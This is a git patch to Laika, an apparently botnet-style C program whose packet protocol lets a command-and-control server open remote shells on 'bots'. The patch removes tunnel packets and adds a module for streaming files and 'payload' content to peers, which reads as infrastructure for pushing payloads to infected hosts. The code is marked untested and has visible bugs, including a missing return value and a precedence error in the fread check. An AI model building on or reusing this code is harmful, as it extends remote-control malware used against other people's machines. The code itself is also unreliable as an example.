From b02f48c006ab0421c1cbbe88cc6407af8d438271 Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 16 May 2022 18:48:32 -0500 Subject: [PATCH] Lib: Added content stream boilerplate - code is untested --- .gitignore | 2 - lib/include/lcontent.h | 46 +++++++++++++ lib/include/lpacket.h | 42 +++++------ lib/src/lcontent.c | 153 +++++++++++++++++++++++++++++++++++++++++ lib/src/lpacket.c | 11 ++- 5 files changed, 220 insertions(+), 34 deletions(-) create mode 100644 lib/include/lcontent.h create mode 100644 lib/src/lcontent.c diff --git a/.gitignore b/.gitignore index 9ea1c4b..f7edf95 100644 --- a/.gitignore +++ b/.gitignore @@ -3,5 +3,3 @@ debug bin .vscode lconfig.h -lcontent.c -lcontent.h diff --git a/lib/include/lcontent.h b/lib/include/lcontent.h new file mode 100644 index 0000000..528b8ce --- /dev/null +++ b/lib/include/lcontent.h @@ -0,0 +1,46 @@ +#ifndef LAIKA_CONTENT_H +#define LAIKA_CONTENT_H + +#include "lpeer.h" + +#include +#include + +enum { + CONTENT_FILE, + CONTENT_PAYLOAD +}; + +enum { + CONTENT_ERR_ID_IN_USE, + CONTENT_ERR_INVALID_ID +}; + +typedef uint8_t CONTENT_TYPE; +typedef uint8_t CONTENT_ERRCODE; + +struct sLaika_content { + FILE *fd; + uint32_t sz; /* content size */ + uint32_t processed; + uint16_t id; + CONTENT_TYPE type; + struct sLaika_content *next; +}; + +struct sLaika_contentContext { + struct sLaika_peer *peer; + struct sLaika_content *headIn; /* receiving from peer */ + struct sLaika_content *headOut; /* sending to peer */ + uint16_t nextID; +}; + +void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer); +void laikaF_cleanContext(struct sLaika_contentContext *context); + +int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type); +void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type); + +void laikaF_poll(struct sLaika_contentContext *context); + +#endif \ No newline at end of file diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 242bf6b..d9e8ee8 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -58,30 +58,6 @@ enum { /* layout of LAIKAPKT_PINGPONG: * NULL (empty packet) */ - LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */ - /* layout of LAIKAPKT_TUNNEL_OPEN: - * uint16_t port; - */ - LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */ - /* layout of LAIKAPKT_TUNNEL_CLOSE: - * uint16_t port; - */ - LAIKAPKT_TUNNEL_CONNECTION_ADD, - /* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD: - * uint16_t port; - * uint16_t id; - */ - LAIKAPKT_TUNNEL_CONNECTION_RMV, - /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: - * uint16_t port; - * uint16_t id; - */ - LAIKAPKT_TUNNEL_CONNECTION_DATA, - /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: - * uint16_t port; - * uint16_t id; - * uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id - */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: * uint32_t id; // this field is absent from the panel/auth client @@ -95,7 +71,23 @@ enum { LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA * uint32_t id; // this field is absent from the panel/auth client - * char buf[VAR_PACKET_LENGTH]; + * char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; + */ + LAIKAPKT_CONTENT_NEW, + /* layout of LAIKAPKT_CONTENT_NEW: + * uint16_t id; + * uint32_t sz; + * uint8_t type; + */ + LAIKAPKT_CONTENT_ERROR, + /* layout of LAIKAPKT_CONTENT_ERROR: + * uint16_t id; + * uint8_t errCode; + */ + LAIKAPKT_CONTENT_CHUNK, /* variadic */ + /* layout of LAIKAPKT_CONTENT_CHUNK: + * uint16_t id; + * uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)]; */ /* ==================================================[[ Auth ]]================================================== */ LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ diff --git a/lib/src/lcontent.c b/lib/src/lcontent.c new file mode 100644 index 0000000..aa5ebed --- /dev/null +++ b/lib/src/lcontent.c @@ -0,0 +1,153 @@ +#include "lcontent.h" +#include "lmem.h" +#include "lerror.h" + +#include "lsocket.h" +#include "lpeer.h" + +size_t getSize(FILE *fd) { + size_t sz; + fseek(fd, 0L, SEEK_END); + sz = ftell(fd); + fseek(fd, 0L, SEEK_SET); + return sz; +} + +bool isValidID(struct sLaika_contentContext *context, uint16_t id) { + struct sLaika_content *curr = context->headIn; + + while (curr) { + if (curr->id == id) + return true; + + curr = curr->next; + } + + return false; +} + +void freeContent(struct sLaika_content *content) { + fclose(content->fd); + laikaM_free(content); +} + +void rmvFromOut(struct sLaika_contentContext *context, struct sLaika_content *content) { + struct sLaika_content *last = NULL, *curr = context->headOut; + + while (curr) { + /* if found, remove it! */ + if (curr == content) { + if (last) + last->next = curr->next; + else + context->headOut = curr->next; + + freeContent(curr); + break; + } + + last = curr; + curr = curr->next; + } +} + +void sendContentError(struct sLaika_peer *peer, uint16_t id, CONTENT_ERRCODE err) { + laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR); + laikaS_writeInt(&peer->sock, &id, sizeof(uint16_t)); + laikaS_writeByte(&peer->sock, err); + laikaS_endOutPacket(peer); +} + +void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer) { + context->peer = peer; + context->headIn = NULL; + context->headOut = NULL; + context->nextID = 0; +} + +void laikaF_cleanContext(struct sLaika_contentContext *context) { + struct sLaika_content *tmp, *curr; + + /* free IN list */ + curr = context->headIn; + while (curr) { + tmp = curr->next; + freeContent(curr); + curr = tmp; + } + + /* free OUT list */ + curr = context->headOut; + while (curr) { + tmp = curr->next; + freeContent(curr); + curr = tmp; + } +} + +int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type) { + struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); + struct sLaika_peer *peer = context->peer; + + /* init content struct */ + content->fd = fd; + content->sz = getSize(fd); + content->processed = 0; + content->id = context->nextID++; + content->type = type; + + /* add to list */ + content->next = context->headOut; + context->headOut = content; + + /* let the peer know we're sending them some content */ + laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW); + laikaS_writeInt(&peer->sock, &content->id, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t)); + laikaS_writeByte(&peer->sock, type); + laikaS_endOutPacket(peer); +} + +void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type) { + struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); + + if (isValidID(context, id)) { + sendContentError(context->peer, id, CONTENT_ERR_ID_IN_USE); + LAIKA_ERROR("ID [%d] is in use!\n", id); + } + + content->fd = tmpfile(); + content->sz = sz; + content->processed = 0; + content->id = id; + content->type = type; + + /* add to list */ + content->next = context->headIn; + context->headIn = content; +} + +void laikaF_poll(struct sLaika_contentContext *context) { + uint8_t buff[LAIKA_MAX_PKTSIZE-sizeof(uint16_t)]; + struct sLaika_peer *peer = context->peer; + struct sLaika_content *tmp, *curr = context->headOut; + int rd; + + /* traverse our out content, sending each chunk */ + while (curr) { + /* if we've reached the end of the file stream, remove it! */ + if (rd = fread(buff, sizeof(uint8_t), (curr->sz - curr->processed > (LAIKA_MAX_PKTSIZE-sizeof(uint16_t)) ? LAIKA_MAX_PKTSIZE-sizeof(uint16_t) : curr->sz - curr->processed), curr->fd) == 0) { + tmp = curr->next; + rmvFromOut(context, curr); + curr = tmp; + continue; + } + + laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK); + laikaS_writeInt(&peer->sock, &curr->id, sizeof(uint16_t)); + laikaS_write(&peer->sock, buff, rd); + laikaS_endVarPacket(peer); + + curr = curr->next; + } +} \ No newline at end of file diff --git a/lib/src/lpacket.c b/lib/src/lpacket.c index 91bc838..a7fb713 100644 --- a/lib/src/lpacket.c +++ b/lib/src/lpacket.c @@ -7,19 +7,16 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) { "LAIKAPKT_HANDSHAKE_REQ", "LAIKAPKT_HANDSHAKE_RES", "LAIKAPKT_PINGPONG", - "LAIKAPKT_TUNNEL_OPEN", - "LAIKAPKT_TUNNEL_CLOSE", - "LAIKAPKT_TUNNEL_CONNECTION_ADD", - "LAIKAPKT_TUNNEL_CONNECTION_RMV", - "LAIKAPKT_TUNNEL_CONNECTION_DATA", "LAIKAPKT_SHELL_OPEN", "LAIKAPKT_SHELL_CLOSE", "LAIKAPKT_SHELL_DATA", + "LAIKAPKT_CONTENT_NEW", + "LAIKAPKT_CONTENT_ERROR", + "LAIKAPKT_CONTENT_CHUNK", "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", - "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ", - "LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ" + "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ" }; return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];